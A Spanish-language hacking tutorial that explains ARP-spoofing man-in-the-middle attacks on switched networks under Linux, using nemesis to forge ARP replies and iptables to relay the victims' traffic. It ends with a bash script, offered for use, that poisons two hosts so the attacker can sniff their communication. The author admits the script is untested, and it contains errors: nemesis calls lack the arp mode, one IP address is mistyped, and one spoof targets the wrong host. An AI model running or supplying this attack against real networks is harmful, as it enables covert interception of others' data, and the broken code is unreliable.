[-------------- Implementando la t?cnica Man In The Middle bajo Linux --------------]
Por Servomac ...
1.0 Introduci?n
2.0 Teor?a del Man In The Middle
3.0 Enviando arp-reply's
3.1 Usando nemesis
4.0 Haciendo de gateway con iptables
5.0 C?digo final
1.0 Introducci?n
La t?cnica Man In the Middle sirve para "sniffear" en redes que usan una switch para
enviar los paquetes. He leido mucos documentos sobre teor?a de esta t?cnica que estan
muy bien, e incluso algunos que la implementan bajo Windows (como el escrito por TONTETE
en su triologia sobre redes; lo podeis ver en
http://www.cyruxnet.org/cuaderno3.htm)que estan muy bien, pero no he encontrado nada que se base en SO GNU/Linux. Como creo
que hay muy buenas herramientas para ello, he escrito un script sencillito que implementa
esta t?cnica, y ya que estamos escribo un peque?o texto para ayudar al personal. Si
no nos ayudamos entre nosotros, nadie lo har?

.
2.0 Teor?a del Man In The Middle
Si alguien ha intentado usar un sniffer en una red en la que en lugar de un HUB que envie
los paquetes a los otros pc's usa un SWITCH, habr? visto que solo captura los mensajes
que le tocan, es decir, solo los que los otros pc's le envian explicitamente a ?l. Nos
debemos preguntar, ?porqu? es as??. Para responder esta pregunta, debemos volver a sacar
nuestros empolvados docs sobre redes y ponernos a leer las especificaciones t?cnicas de
los Hub y los Switch. Para haceros la vida un poco mas sencilla, os lo explicar? rapidamente.
Un Hub lo unico que hace es reenviar las tramas que le llegan a TODOS los pc's que estan
conectados a ?l. Es decir, el paquete que a enviado A para C, le llega a A, B, C, y D,
y una vez llega a los pc's eston leen la cabezera del paquete y verifican para quien es
el paquete. En este caso, A, B y D lo desechar?an y C lo leeria. As? es muy sencillo que
B leea lo que le envia A a C y viceversa, porque todos los paquetes que circulan por la
red llegan a todos los pc's de esta y pueden ser interceptados con relativa facilidad.
En canvio un Switch trabaja a un nivel mas alto, exactamente en la capa de enlaze de datos.
El Switch tiene una tabla para reconocer los pc's que tiene conectados a el. La tabla,
en resumidas cuentas, establece una relaci?n entre las MAC's de la maquinas y su ip.
As?, si le llega un paquete de A (192.168.0.1) para C (192.168.0.3) no lo enviar? a
todos los pc's como el Hub, sino que verificar? para quien es el paquete y se lo pasar?
solo a ?l. Esto es un problema a la hora de sniffear una conexi?n entre dos pc's de
la red, ya que con el Switch no recibes todos los paquetes como lo hac?as con el Hub,
sino solo los que son para ti.
Para evitar esto, se ha creado la t?cnica Man In The Middle. Esta consiste en ponerte en
medio de los dos pc's que quieras sniffear y hacerles creer que se estan comunicando sin
que haya nadie enmedio. Pongamos un ejemplo para comprenderlo mejor. Tenemos una red con
3 pc's y un switch. Los pc's son A (192.168.0.1 - 00:00:00:00:00:00), B (192.168.0.2 -
11:11:11:11:11:11) y C (192.168.0.3 - 22:22:22:22:22:22). C es un server ftp, y B se
conecta a este para hacer unas transferencias de ficheros. Como a A le interesa saber
que hace exactamente B cuando se conecta a C, implementar? esta t?cnica. Para ello,
A tiene que hacer creer a B que el es C, y a C que es B. Mejor dicho, tiene que hacer
creer a B que la direcci?n MAC de C es 00:00:00:00:00:00, y tiene que hacer creer a C
que la direcci?n MAC de B es 00:00:00:00:00:00. Con esto lograr? que los dos pc's le envien
la informaci?n que van a enviar al otro, pero se cortar? la comunicaci?n porque ni B
ni C recibiran nada, solo enviar?n. Para evitar que se corte la comunicaci?n y que B
y C no se enteren de que tiene a A infiltrado entre ellos dos y sigan la comunicaci?n
normal, A tiene que reenviar todos los paquetes que le llegen de B hacia C y viceversa.
Vamos a hacer un resumen de los pasos :
- Hacemos creer a B que nuestra MAC es la de C
- Hacemos creer a C que nuestra MAC es la de B
- Reenviamos todos los paquetes que nos llegen de B a C
- Reenviamos todos los paquetes que nos llegen de C a B
Con estas 4 "minucias" conseguiremos eludir al switch y meternos all? donde no nos invitan,
en las conversaciones entre B y C, sin que ellos se percaten de nada.
3.0 Enviando arp-reply's
Para que los ordenadores no se confundan en la red y se envien los paquetes correctamente,
se inventaron los arp-reply, que mas o menos son un paquete que informa a los otros pc's
de la MAC de el que lo envia. Vendria a ser algo como lo siguiente, para que lo entendais :
"Hola, soy xxx.xxx.xxx.xxx. Te envio este paquete para informarte de que mi MAC es
XX:XX:XX:XX:XX:XX. ?Nos vemos!"
Normalmente se envia como respuesta a un arp-request, pero eso no importa ahora. Quien no lo
tenga del todo claro que revise el funcionamiento de ARP. Pero enviar esto una vez y
despreocuparse no basta, porque esta informaci?n se va renovando a cada momento, aproximadamente
2 veces por minuto. As? que tenemos que enviar arp-replys con informaci?n falsa continuamente
si queremos enga?ar a los pc's victimas de nuestra agesi?n a la intimidad, porque si no
las tablas arp de los pc's se renovar? con la informaci?n real, y eso no nos interesa.
As? que nuestro pc le dice a los otros cual es su MAC. Pero .. ?podemos nosotros mentirles?
La respuesta es muy sencilla : podemos hacer todo lo que el pc hace, as? que esto no ser?
excepci?n

. Podemos programar nuestro propio programa para enviar arp-reply's y paquetes
de red en general, pero para agilizar el tema usaremos uno de los que ya existen, exactamente
el nemesis. Pero esto viene a continuaci?n ...
3.1 Usando nemesis
Nemesis es decrito en su page en sourceforge (
http://nemesis.sourceforge.net/) como "una utilidad
de creaci?n e inyecci?n de paquetes de red desde la linea de comandos para sistemas tipo UNIX y
Windows". Despu?s vemos que "es capaz de crear e inyectar paquetes ARP, DNS, ETHERNET, ICMP, IGMP,
IP, OSPF, RIP, TCP y UDP". A nosotros lo que nos interesan son los arp, asi que vamos a investigar
un poco sobre como enviarlos con esta utilidad. Lo instalais como querais (en mi caso un apt-get
install nemesis ha bastado, debian & apt-get rules

) y lo corremos :
debian:~# nemesis
NEMESIS -=- The NEMESIS Project Version 1.4beta3 (Build 22)
NEMESIS Usage:
nemesis [mode] [options]
NEMESIS modes:
arp
dns
ethernet
icmp
igmp
ip
ospf (currently non-functional)
rip
tcp
udp
NEMESIS options:
To display options, specify a mode with the option "help".
debian:~#
Como lo que nos interesan son los paquetes arp, vamos a mirar sus opciones :
debian:~# nemesis arp help
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
ARP/RARP Usage:
arp [-v (verbose)] [options]
ARP/RARP Options:
-S <Source IP address>
-D <Destination IP address>
-h <Sender MAC address within ARP frame>
-m <Target MAC address within ARP frame>
-s <Solaris style ARP requests with target hardware addess set to broadcast>
-r ({ARP,RARP} REPLY enable)
-R (RARP enable)
-P <Payload file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
You must define a Source and Destination IP address.
debian:~#
Ok, mirandolo un poquillo podemos ver que para especificar la ip que lo envia tenemos
que poner -S dir.ecc.ion.ipx, y para especificar la ip de desitino -D seguido de la ip.
Lo mismo vemos de la mac de destino (-M) y la que en teoria tiene el pc que envia el
paquete

(-H). Tambi?n tendremos que especificar por donde tiene que enviar el paquete,
es decir, el nombre de la tarjeta de red (normalmente eth0) con -d.
Con esto podemos crear los paquetes que queriamos enviar. Por ejemplo, para hacer creer
a B (192.168.0.2 - 11:11:11:11:11:11) que somos C (192.168.0.3 - 22:22:22:22:22:22)
desde A (192.168.0.1 - 00:00:00:00:00:00) tendriamos que enviar un paquete de la
siguiente manera :
nemesis -d eth0 -H 00:00:00:00:00:00 -S 192.168.0.3 -D 102.168.0.2
1? Con "-d eth0" especificamos que el paquete se enviar? por la tarjeta de red.
2? Con "-H 00:00:00:00:00:00" decimos que la MAC del pc al que corresponde -S (en este caso
es otro y no el que envia el paquete).
3? Con "-S 192.168.0.3" hacemos creer al pc que va a recibir el paquete que se envia desde
esta direcci?n ip, que correspone a C).
4? Con "-D 192.168.0.2" especificamos a que pc tiene que enviarse el paquete.
Como veis no puede ser mas sencillo. Ahora ya estamos totalmente preparados para
usar la utilidad nemesis para el envio de arp-replys (aunque sean mas falsos que
una moneda de 3 duros).
4.0 Haciendo de gateway con iptables
Realmente un gateway es un dipositivo que une dos redes, pero usar? este termino por
la similaridad con nuestro caso. Realmente, para hacer creer a los dos pc's a los que
espiamos que su comunicaci?n es de lo mas normal del mundo, los paquetes de uno tienen
que llegar al otro y viceversa, aunque antes pasen por nosotros para satisfacer nuestra
curiosidad. Para redirigir los paquetes que nos llegan de B a C y viceversa tenemos
que activar el ip forwarding y reenviar de alguna manera los paquetes. Para esto
he elegido iptables por ser la utilidad m?s extendida del campo, que trabaja desde el
kernel y mil ventajas m?s. A todo aquel que quiera aprener de verdad redes bajo Linux
le recomiendo el Linux Iptables HOWTO (
http://www.linuxguruz.com/iptables/howto/).
Para redireccionar los paquetes provenientes de la ip 192.168.0.1 a 192.168.0.2
utilizaremos los siguientes argumentos con iptables :
iptables -t nat -A PREROUTING -p tcp -s 192.168.0.1 -j DNAT --to-destination 192.168.0.2
Si quereis analizarlo de manera mas r?pida sin leeros el HOWTO, all? vosotros.
Haced un iptables --help y lo vereis todo muy claro para esta sencilla redirecci?n :
debian:~# iptables --help
iptables v1.2.7a
Usage: iptables -[AD] chain rule-specification [options]
iptables -[RI] chain rulenum rule-specification [options]
iptables -D chain rulenum [options]
iptables -[LFZ] [chain] [options]
iptables -[NX] chain
iptables -E old-chain-name new-chain-name
iptables -P chain target [options]
iptables -h (print this help information)
Commands:
Either long or short options are allowed.
--append -A chain Append to chain
--delete -D chain Delete matching rule from chain
--delete -D chain rulenum
Delete rule rulenum (1 = first) from chain
--insert -I chain [rulenum]
Insert in chain as rulenum (default 1=first)
--replace -R chain rulenum
Replace rule rulenum (1 = first) in chain
--list -L [chain] List the rules in a chain or all chains
--flush -F [chain] Delete all rules in chain or all chains
--zero -Z [chain] Zero counters in chain or all chains
--new -N chain Create a new user-defined chain
--delete-chain
-X [chain] Delete a user-defined chain
--policy -P chain target
Change policy on chain to target
--rename-chain
-E old-chain new-chain
Change chain name, (moving any references)
Options:
--proto -p [!] proto protocol: by number or name, eg. `tcp'
--source -s [!] address[/mask]
source specification
--destination -d [!] address[/mask]
destination specification
--in-interface -i [!] input name
network interface name (
--jump -j target
target for rule (may load target extension)
--match -m match
extended match (may load extension)
--numeric -n numeric output of addresses and ports
--out-interface -o [!] output name
network interface name (
--table -t table table to manipulate (default: `filter')
--verbose -v verbose mode
--line-numbers print line numbers when listing
--exact -x expand numbers (display exact values)
[!] --fragment -f match second or further fragments only
--modprobe=<command> try to insert modules using this command
--set-counters PKTS BYTES set the counter during insert/append
[!] --version -V print package version.
debian:~#
5.0 Codigo Final
Bueno, ahora ye tenemos sobre la mesa todos los conocimientos necesarios
para hacer un buen Man In The Middle. Conocemos la teor?a de la t?cnica
y como usar las utilidades que necesitamos (nemesis y iptables) para
nuestros fines ... es hora de unirlo todo en un script de bash y ponerlo
a funcionar.
Pndr? todo el code del script y lo mirais ... si lo entendeis me he explicado
bien en el documento y vosotros lo habeis comprendido todo realmente bien.
Me sentir?a muy alagado si a todos los que leeais esto os basta con una
hojeada al codigo del script para entenderlo (si teneis una base de shell
scripting, claro

). Creo que esta bien comentado, pero si hay algo que no
se entiende me podeis enviar un mail a
servomac@gmail.com y contestar?
de buen grado. Por cierto, aunque no creo que el fin del documento no sea
el mejor sitio para hacer esa aclaraci?n, debo decir que el script no est?
provado en un escenario real. Vale, vale, se que deber?a haver avisado al
principio, pero a parte de que confio bastante (creo que demasiado y todo

)
en mi mismo y estoy seguro de que funcionar? B), tambi?n estoy seguro de
que si haveis entendido el doc estareis lo suficientemente cualificados como
para hacer algun retoque que necesite el script. Por cierto, si alguien
tiene la suerte de tener 3 pc's en red podr?a hacer un bien a la comunidad
y testear el script, a ver si funciona y tal. Si alguien lo hace, por favor
decidme cosas al mail.
#!/bin/bash
echo "Script de shell que implementa la tecnica Man In The Middle"
echo ""
echo "Este script usa el paquete nemesis, as? que si no lo"
echo "tienes te devolvera un error."
#Comprovamos que los parametros introducidos corresponden al esquema.
if [ "$#" != "3" ]
then
echo "Uso : $0 [IP_ATACANTE] [IP_ATACADO1] [IP_ATACADO2]"
echo "Ejemplo : $0 192.168.0.1 192.168.0.20 192.168.0.21"
fi
cd /
#Vamos a establecer el forward entre las dos maquinas atacadas mediante
#iptables para que ellas no noten nuestra peque?a intrusi?n en sus asuntos.
#Para esto necesitamos activar el ipforwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
#Enviamos los paquetes que lleguen de $2 a $3
/sbin/iptables -t nat -A PREROUTING -p tcp -s $2 -j DNAT --to-destination $3
#Y los que lleguen de $3 que los envie a $2
/sbin/iptables -t nat -A PREROUTING -p tcp -s $3 -j DNAT --to-destination $2
#Vamos a conseguir la mac del dispositivo eth1
MAC_ETH0=$(/sbin/ifconfig eth0 | grep HWaddr | awk '{print $5}')
#Ahora enviamos los paquetes de arp-reply una vez cada segundo (hasta
#que el user apriete una tecla qualquiera) con nemesis.
#Mientras que el user no apriete ninguna tecla puede usar cualquier
#sniffer para ver los paquetes enviados de $2 a $3 y viceversa.
while true
do
# Se espera 1 segundo a que alguien aprete alguna tecla
read -n 1 -t 1 aux
#Enviamos los paquetes arp-reply
/sbin/nemesis -d eth0 -H $MAC_ETH0 -S $2 -D $3
/sbin/nemesis -d eth0 -H $MAC_ETH0 -S $2 -D $2
# si la longitud de aux no es 0
if test -n "$aux"
then
# salgo del bucle
break
# Sino continuo ejectando el bucle
fi
done
#Eliminamos de iptables las reglas de routing entre las maquinas atacadas
/sbin/iptables -t nat -D PREROUTING -p tcp -s $2 -j DNAT --to-destination $3
/sbin/iptables -t nat -D PREROUTING -p tcp -s $3 -j DNAT --to-destination $2
Bueno, espero que hayas aprendido mucho sobre redes en este documento y que
la t?cnica te sirva para algo (de todas formas el conocimiento siempre sirve,
aunque no se aplique a la realidad). ?Nos vemos gente!
/* EOF */